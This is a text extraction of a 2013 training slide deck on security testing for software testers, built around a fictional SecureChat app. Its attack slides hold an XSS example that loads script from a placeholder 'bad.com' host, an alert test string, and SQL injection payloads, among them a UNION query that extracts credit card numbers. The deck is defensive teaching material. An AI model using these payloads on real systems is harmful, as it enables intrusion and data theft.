Security Testing for Testing Professionals

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Presented by:
Jeff Payne
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“Security Testing for Testing Professionals”

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Jeff Payne is CEO and founder of Coveros, Inc., a software company that builds
eros
y
s

Jeff Payne
Coveros, Inc.

secure software applications using agile methods. Since its inception in 2008, Cov
has become a market leader in secure agile principles and has been recognized by Inc.
magazine as one of the fastest growing private US companies. Prior to founding
Coveros, Jeff was chairman of the board, CEO, and cofounder of Cigital, Inc., a
market leader in software security consulting. Jeff has published more than thirt
papers on software development and testing, and testified before Congress on issue
of national importance, including intellectual property rights, cyber terrorism, and
software quality.

1© Copyright 2013 Coveros Corporation. All rights reserved.
Security Testing
for Test Professional

2© Copyright 2013 Coveros, Inc.. All rights reserved.
 Coveros helps organizations accelerate the delivery of secure, reliable
software
 Our consulting services:
– Agile software development
– Application security
– Software quality assurance
– Software process improvement
 Our key markets:
– Financial services
– Healthcare
– Defense
– Critical Infrastructure
Areas of Expertise
About Coveros

Agenda
 Introduction to Security Testing
– Information security
– Software security
– Risk assessment
– Security testing
 Security Requirements & Planning
– Functional security requirements
– Non-functional security requirements
– Test planning
 Testing for Common Attacks
 Integrating Security Testing into the Software Process

Trainer
Jeffery Payne
jeff.payne@coveros.com
Jeffery Payne is CEO and founder of Coveros, Inc., a software company that
helps organizations accelerate the delivery of secure, reliable software. Coveros
uses agile development methods and a proven software assurance framework to
build security and quality into software from the ground up. Prior to founding
Coveros, Jeffery was Chairman of the Board, CEO, and co-founder of Cigital, Inc.
Under his direction, Cigital became a leader in software security and software
quality solutions, helping clients mitigate the risk of software failure. Jeffery is a
recognized software expert and popular speaker at both business and technology
conferences on a variety of software quality, security, and agile development
topics. He has also testified before Congress on issues of national importance,
including intellectual property rights, cyber-terrorism, Software research funding,
and software quality.

Introduction to Security Testing

When you hear the term “Information Security” or
“Security Testing” …
What do you think it means?
What comes to mind?
What is Information Security?

Definition of Information Security
 Information Security means protecting information and
information systems from unauthorized access, use,
disclosure, disruption, modification, perusal, inspection,
recording or destruction.
 The key concepts of Information Security include:
– Confidentiality
– Integrity
– Availability
– Authenticity
– Non-Repudiation
What is Information Security?

The Software Security Problem
Our IT systems are not castles any longer!

Why Software Security is Important

How to Define Security Risk in Software
Understanding Risk
 Common Security Nomenclature
– Risk: a possible future event which, if it occurs, will lead to an
undesirable outcome
– Threat: A potential cause of an undesirable outcome
– Asset: Data, application, network, physical location, etc. that a threat
may wish to access, steal, destroy, or deny others access to
– Vulnerability: Any weakness, administrative process, or act of physical
exposure that makes an information asset susceptible to exploit by a threat.
– An exploit is a piece of software, a chunk of data, or sequence of
commands that takes advantage of a vulnerability in order to cause
unintended or unanticipated behavior to occur on computer software,
hardware, or something electronic.
– Attack: the approach taken by a threat to exploit a vulnerability
 Denial of service, spoofing, tampering, escalation of privilege

Risk Assessment
 A risk assessment is commonly carried out by a team of
people who have subject area knowledge of the business
and product. Members of the team provide a qualitative
analysis based on informed opinion of threats that will later
be used in a more quantitative analysis.
 The team should also define what is an acceptable amount
of risk that the organization can assume. We assume we
can’t identify all risks nor eliminate them; this is often
referred to as residual risk.
Understanding Risk

Risk Assessment
 Break into teams of 2-3 people.
 Each team will identify potential threats to a software
application described on the next slide.
– Who would want to compromise this application?
– What assets would they be after if they did?
 Once each threat is identified, provide impact and likelihood
ratings (High, Medium, Low) for each threat.
– Justify your answers
 Exercise Time Limit: 15 Minutes
Exercise

 Your company, SecureTelco, has developed an instant
messaging program to be used for private use in customers
homes and for companies and government agencies.
 SecureChat requires users to sign up with an account prior to
using the system. After authenticating with a username and
password, each user can message other users and expect their
conversations to be private.
 Users have the ability to add/remove friends from their contact
list, search for friends based on their email, block users from
IMing them, become “invisible” to all users on demand.
 Messages archives and activities logs document user behavior
and can be retrieved by the user or a SecreTelco Administrator
through the application or by the administrative console,
respectively.
Risk Assessment
Exercise

Risk Assessment Questions
 Business / Mission Motivation
– What is the importance/criticality of the system?
– What assets exist in the system?
– What is the impact if C, I, A principles violated?
 User Capabilities and Exposure
– How is access different for user roles?
– What operations can each performed by different users?
 Threat Motivation
– Why might someone attack the system?
– Who might want to attack? (insiders, outsiders)
– What might attackers accomplish?
– What’s the cost of failure?
Exercise

Threats to system Assets of interest
Exercise Results

What? How?
 Security Testing is testing used to determine whether an
information system protects its data from its threats.
 Security Testing is not a silver bullet for your enterprise
security. Security Testing doesn’t fix your security, it only
makes you aware of it. Security must be built into your
software
 A sound Security Testing process performs testing
activities:
– Before development begins
– During requirements definition and software design
– During implementation
– During deployment
– During maintenance and operations
Security Testing

 Provides a level of confidence that your system performs
securely within specifications.
 Security Testing is a preventative way to find small issues
before they become big, expensive ones.
– The 2007 CSI Computer Crime and Security Survey performed an
analysis of the average cost of a web security breach. The average
loss reported in the survey was $350,424.
 Security Testing ensures that people in your organization
understand and obey security policies.
 If involved right from the first phase of system development
life cycle, security testing can help eliminate flaws in the
design and implementation of the system.
Why is it important?
Security Testing

 Major goals of security testing
– Test the security features of a system
– Test the security properties of a system
– Test whether the system is implemented in a secure fashion
 Security features are controls you’ve implemented to protect
your system
– Authentication, Authorization, Encryption, etc.
 Security properties are closely associated with non-
functional security requirements
 Secure implementation means the software does not have
embedded vulnerabilities due to poor design or coding
practices
Aspects of Security Testing
Security Testing

 Testing security features/controls is most akin to normal
functional testing
– Functional security requirements drive this testing
– Integration of security features into overall application
 Testing security properties requires tests that cross many
features of the system
– Develop tests based on non-functional security requirements and
identified risks / threats
– Tests that assure the implementation does not include known flaws
and vulnerabilities
Testing Aspects of Security
Security Testing

Security Requirements

What are Security Requirements?
What is a Security Requirement?
 Security Requirements describe functional and non-
functional requirements that need to be satisfied in order to
achieve the security attributes of an IT system or
application.
What does that mean?
 Functional Security Requirements
 Additions to functional requirements that define what
the software should not do.
 Requirements that define security controls
 Non-Functional Security Requirements
 Additional non-functional requirements that define what
overall security the system must provide

Functional Requirements
Your Standard Definition
 Functional Requirements: These are statements of
services the system should provide, how the system should
react to particular inputs and how the system should behave
in particular situations. In some cases, the functional
requirements may also have explicitly state what the system
should not do.
Where does the Security fit in?
 Security features should already have functional
requirements associated with them
 Don’t assume they are good or adequately address what
the software should not do
 Misuse and abuse cases should be defined to understand
risks that a threat may utilize to attack the system
 Make sure you check all features for misuse cases

 Part of your security requirements involve security features,
or security controls, that help protect your system
 They define the way your system will behave with respect to
other security properties and non-functional requirements
 Examples:
– Authentication and Identity Management
– Authorization and Access Control
– Input Validation & Encoding
– Encryption
– Error and Exception Handling
– Auditing and Logging
Security Features (aka Security Controls)
Functional Security Requirements

 Use cases describe functionality of how someone might use
a system
 Misuse cases describe how someone might (perhaps
unintentionally) do something in the system with a negative
security impact
 Abuse cases describe how a malicious attacker might
deliberately misuse your system to his advantage
We use misuse and abuse cases to understand what our
system must protect against and help design security tests
Misuse and Abuse Cases

 Break into teams of 2-3 people.
 Each team will identify potential misuse cases with the
following security requirements, if any exist.
 If a misuse case is identified, write a replacement or
additional functional requirement(s).
– It would be best to make sure no misuse cases can be derived from
your new requirement(s).
 Exercise Time Limit: 15 Minutes
Exercise

 SecureChat Authentication Requirements
– When a user attempts to authenticate with a valid username and an
invalid password, the application shall not authenticate the user and
return them to the authentication page.
– The system must alert the user that their attempt to authenticate has
failed due to an incorrect password (“Invalid Password”) utilizing the
standard error text formatting.
– When a user attempts to authenticate with a invalid username, the
application shall not authenticate the user and return them to the
authentication page.
– The system must alert the user that their attempt to authenticate has
failed due to an incorrect username (“Invalid Username”) utilizing the
standard error text formatting.
– What a user attempts to authenticate using a username and a valid
password, the application shall authenticate the user and redirect them
to the homepage.
Functional Security Requirement Examples
Exercise

Authentication Use Case (as requirements are written)
Exercise
Enter username
and password
User
authentication
Show invalid
ID error msg
Show invalid
password msg
SecureChat
User
SecureChat
Server

Authentication Use/Misuse Case Artifact
Exercise
Enter username
and password
User
authentication
SecureChat
User
SecureChat
Server
Threat
Threatens
Mitigates
Securitycontrols
Attacks

Non-Functional Requirements
Your Standard Definition
 Non-Functional Requirements: These are constraints on
the services or functions offered by the system.
 Availability, Reliability, Performance, Scalability, Testability,
Security
Where does Security fit in?
 Security is one of the cross-cutting concerns that must be
addressed during testing
 Threat modeling, architectural analysis, and code analysis
are often used to enumerate risks and drive non-functional
security testing
 Tools can assist testing professionals with these efforts
 Conformance with standards and regulations

Non-Functional Requirements
Example Non-functional Security Requirements
 Confidential data will not be accessible by users other than
through the SecureChat client
 SecureChat shall have an availability of 99.9% at all times
 All communication with the Securechat central server must
be encrypted using 128-bit encryption
 SecureChat shall process a minimum of 8 transactions per
second.
 All SecureChat code shall be reviewed against our internal
coding standards prior to release

Security Test Planning
 Functional security tests based upon the functional security
requirements should be planned, designed, and executed along
with the rest of the functional testing
– Typically covered by a combination of unit, feature, and integration testing
activities
– Don’t forget integration … COTS security features are often integrated
incorrectly
 Non-functional security tests should be planned, designed, and
executed as followed:
– Unit level: secure code scanning to identify vulnerabilities
– Feature level: web application security testing plus any specific non-
functional security requirements that can be performed at this level
– Integration/System levels: more of the above based upon threats & risks
– System level: end-to-end testing and penetration testing that must be
done a production-like environment
What goes where

Testing to Mitigate Common Attacks

Input Validation
 Most common application security weakness: failure to
properly validate input
– From client
– From environment (often overlooked)
 Leads to many of the major vulnerabilities found in
applications
– Interpreter injection (SQL, JavaScript, XML, Command, …)
– Locale/Unicode attacks
– File system attacks
– Buffer overflows
 Data from a client application or a user should never be
trusted as they are susceptible to injection attacks
Common Attacks

 Injection attacks result when input from a user is interpreted
by a command processor or formed to manipulate the
program stack/heap
– These are, by far, the most rampant category of attacks over the past
20 years
What are Injection Attacks?
Common Attacks
<body><p>
<?
$msg = “Hi, “ + $name + “.”;
echo $msg
?>
</p></body>
<body><p>
Hi, Joe.
</p></body>
$name = Joe
<body><p>
Hi,
<script src=“http://www.bad.com/attack.js”/>.
</p></body>
$name = <script src=“http://bad.com/attack.js”/>

 Input characters that aren’t expected
– More input than expected
– Different input than expected
– Executable input that is unexected
 Input encoded strings
– Automatically converted/decoded by browsers and other
frameworks
These “mistakes” are what attackers leverage to trigger input
vulnerabilities in our systems
Common Input Mistakes
Common Attacks

Types of Input Validation
 Integrity Checks – Ensure that the data has not been tampered
with and is the same as before.
– Integrity checks must be included wherever data passes from a trusted
to a less trusted boundary, such as from the application to the user's
browser in a hidden field, or to a third party payment gateway, such as
a transaction ID used internally upon return.
– The type of integrity control (checksum, HMAC, encryption, digital
signature) should be directly related to the risk of the data transiting the
trust boundary.
 Validation - Ensure that the data is strongly typed, correctly
syntaxed, within length boundaries, contains only permitted
characters or that numbers are correctly signed and within
boundary ranges.
– Validation must be performed on every tier. For example, the
presentation layer should validate web related issues, persistence
layers should validate for persistence issues, etc.
Common Attacks

Input Validation Approaches
 Accept Known Good
– Check the data is one of a set of tightly constrained known good values
– “Whitelist” validation
– Only works when set of good values is small or previously identified
 Reject Known Bad
– Reject strings that contain potentially unacceptable characters (ex. If
you’re not expecting JavaScript, reject %3f)
– “Blacklist” validation
– A dangerous strategy because the possible set of bad data is infinite;
causes constant maintenance of blacklist
 Sanitize
– Rather than accept or reject, change the input into an acceptable
format
– Sound software engineering practice
Validating Input

 A very common vulnerability
 Allows an attacker to inject script into a vulnerable web
system that attacks the user
 Example:
Cross-Site Scripting
Common Input Attack #1
Type your name: Joe
http://myweb.com/index.php
Hi, Joe!
http://myweb.com/index.php?name=Joe
 What happens if we type our name as:
<script>alert(“Joe Hacker!”)</script>

Reflected Cross-Site Scripting
 Testing for Reflected Cross-Site Scripting
– Reflected Cross Site Scripting (XSS) is another name for non-
persistent XSS, where the attack doesn’t load with the vulnerable
web application but is originated by the victim loading the offending
URI using the victim’s credentials.
 Commonly, an attacker creates and tests an offending URI, in which the victim
loads the URI on their browser.
 Attackers typically leverage these vulnerabilities to install key loggers, steal
victim cookies, perform clipboard theft and change the content of the page
– Testing Process
 Detect Input Vectors
 Analyze Each input vector to detect potential vulnerabilities. Input data is
typically harmless, but triggers web browser responses.
 Report on Findings
 Analyze report and attempt to exploit with an attack that has a realistic impact on
web application security.
Cross Site Scripting

Stored Cross-Site Scripting
 Testing for Stored Cross-Site Scripting
– Stored XSS is the most dangerous type. Web applications that
allow users to store data are potentially exposed to this type of
attack.
 This occurs when a web application gathers malicious input and stores,
unfiltered, that input in a data store for later use. As a consequence the
malicious data will appear to be part of the web site and run on the user’s
browser.
 The more privileges the end user has the more dangerous this attack is.
– Testing Process
 Identify input forms
 Analyze HTML Code
 Test for Stored XSS
 Report on Findings
 Analyze report and attempt to exploit with an attack that has a realistic impact on
web application security.

Cross Site Scripting Patterns (cont.)
 Testing for DOM-Based Cross Site Scripting
– DOM-based XSS is the name for bugs which are the result of active
content on a page, typically obtaining user input and doing
something unsafe with it to lead to a XSS bug.
 In comparison to other cross site scripting vulnerabilities (reflected and stored
XSS), where an unsanitized parameter is passed by the server, returned to the
user and executed in the context of the user’s browser, a DOM based cross site
scripting vulnerability controls the flow of the code by using elements of the
Document Object Model (DOM) along with code crafted by the attacker to
change the flow.
– Manual testing is almost always required for this type of XSS attack
and requires knowledge of the code, especially around any use of
JavaScript.

Cross Site Scripting Patterns (cont.)
 Testing for Cross Site Flashing
– ActionScript is the language used by Flash applications when
dealing with interactive needs due to some poor implementation
patterns.
 New versions of Flash player are often released to mitigate some attacks, but
poor programming practices often still result in exploits.
– Manual testing is almost always required for this type of XSS attack
and requires knowledge of the code, especially around any use of
ActionScript.

SQL Injection
 What is SQL Injection?
– An SQL injection attack consists of the insertion or “injection” of an
SQL query via input data from the client to the application. A
successful exploit could read sensitive data, modify data, execute
administrative operations, recover the content to a given file and, in
some cases, issue commands to the operating system.
 Types of SQL Injection
– Inband – Data is extracted using the same channel that is used to
inject SQL code. In the simplest form, the retrieved data is
presented directly to the application web page.
– Out-of-band – Data is retrieved using a different channel (e.g., an
email with the results of the query is generated and sent to the
tester).
– Inferential – Data is not transferred, but the tester is able to
reconstruct the information by sending particular requests and
observing the resulting behavior of the DB Server.
Common Input Attack #2

SQL Injection Example
 Consider the following SQL query:
– SELECT * FROM Users WHERE Username='$username' AND
Password='$password'
 Assume the values of the input fields are obtained from the
user through a web form. Suppose we insert the following
Username and Password values:
– $username = 1' or '1' = '1
– $password = 1' or '1' = '1
 The query will be:
– SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND
Password='1' OR '1' = '1'
Common Attack #2: SQL Injection

SQL Injection Example (cont.)
 Another test involves the use of the UNION operator. We
suppose for our examples that the query executed from the
server is the following:
– SELECT Name, Phone, Address FROM Users WHERE Id=$id
 We will set the following Id value:
– $id = 1 UNION ALL SELECT creditCardNumber,1,1 FROM
CreditCardTable
 NOTE: we have selected other two values. These two values are necessary, in order
to avoid a syntax error.
 We will have the following query:
– SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION
ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
 The keyword ALL can be used to get around the DISTINCT
keyword.
SQL Injection

Testing for SQL Injection (cont.)
 Where to look for SQL Injection
– Authentication forms: Chances are high that the user credentials
are checked against a database that contains all usernames and
passwords (or their password hashes)
– Search Engines: Strings submitted could be used in a query that
extracts relevant records from a database.
– E-Commerce Sites: Products and their characteristics are very likely
to be stored in a database.
– Use your inherent knowledge of your application to pinpoint your
testing efforts.
SQL Injection

 Testing for all cases of injection attacks can be laborious
 There are lots of tools out there to help
 Leverage tools but also make sure validation code is correct
 Understand architecture to test unique components that
include scripting / executable capabilities
Use Tools!
Common Attacks

Integrating Security into Your Testing
Process

How do you add Security in?
Software Development Life Cycle
Define Use/Abuse
cases
Security
requirements
Assess
threats and
assets
Design Threat
modeling
Security test
planning
Develop
Deploy
Static
Analysis
Risk-based
security
testing
Penetration
testing

Classes of Tools
 Risk-based security testing tools
– Proactive web app scanners
– Proxies
– Fuzzers
 Secure code scanning tools
 Threat modeling (planning tool)
 Network scanning tools
 Password Crackers
Tools to Support Security Testing

Web Application Scanners and Proxies
 Where to use?
– Looking for XSS, Injection and input validation vulnerabilities; some
tools will attempt to actively exploit vulnerabilities.
 Free Tools
– Zed Attack Proxy
– Nikto
– W3af
– Paros
– Skipfish
– Wapiti
– wfuzz
 Paid Tools
– Netsparker
– WebSecurify
– Big Commercial: IBM AppScan, Cenzic Hailstorm, HP WebInspect

Password Crackers & Brute Force Tools
 Where to use?
– When you want to break the default credentials or test your
authentication mechanisms against common security tools.
 Free Tools
– THC Hydra
– Cain and Abel
– Wfuzz
 Paid Tools
– John the Ripper

Network Security Tools
 Where to use?
– Scanning for mis-configurations
– Testing for OS, application and network vulnerabilities
 Free Tools
– OpenVAS
 Paid Tools
– Nessus
– Core Impact

Wrap-Up

 OWASP Foundation, “OWASP Testing Guide v3”,
https://www.owasp.org/index.php/OWASP_Testing_Project, 2008
 Hope and Walther, “Web Security Testing Cookbook: Systematic Techniques to
Find Problems Fast,” O’Reilly, 2008
 Whittaker and Thompson, “How to Break Software Security,” Addison-Wesley,
2003
 Schneier, Bruce, “Secrets and Lies: Digital Security in a Networked World,”
Wiley, 2000
References

Questions?
Contact Information:
http://www.coveros.com
info@coveros.com
703.431.2920

Answers to Exercises*
* There are numerous possible answers to some exercises, these show one
possible answer

Formal Authentication Use/Misuse Case Artifact
Exercise
Enter username
and password
User
authentication
Show generic
error message
Lock account
after N failed
login attempts
Validate
password
minimum
length and
complexity
SecureChat
User
SecureChat
Server
Hacker
Brute Force
Attack
Guess User
Accounts
Dictionary
Attacks
Threatens
Mitigates
Mitigates
Mitigates
Mitigates

Security Testing for Testing Professionals

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